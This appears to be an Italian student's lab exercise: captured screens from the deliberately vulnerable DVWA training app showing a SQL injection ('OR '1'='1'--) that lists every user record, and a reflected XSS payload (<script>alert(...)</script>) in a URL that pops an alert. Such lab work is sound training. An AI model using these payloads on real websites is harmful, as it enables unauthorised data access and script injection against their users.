


# CONSEGNA U2 S6 L2

## SQL Injection



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

### Vulnerability: SQL Injection

User ID:

Submit

ID: 'OR '1'='1'--  
First name: admin  
Surname: admin

ID: 'OR '1'='1'--  
First name: Gordon  
Surname: Brown

ID: 'OR '1'='1'--  
First name: Hack  
Surname: Me

ID: 'OR '1'='1'--  
First name: Pablo  
Surname: Picasso

ID: 'OR '1'='1'--  
First name: Bob  
Surname: Smith

### More info


<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin  
Security Level: low  
PHPIDS: disabled

View Source

View Help

# XSS Reflected



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

## Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

### More info

<http://hackers.org/xss.html>  
[http://en.wikipedia.org/wiki/Cross-site\\_scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)  
<http://www.cgisecurity.com/xss-faq.html>

View SourceView Help

Username: admin  
Security Level: low  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Damn Vulnerable Web A

Not secure 192.168.50.101/dvwa/vulnerabilities/xss\_r/?name=<script>alert%28"Fregato"%29<%2Fscript>Giangi#

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter OffSec Exploit

192.168.50.101 says  
Fregato

OK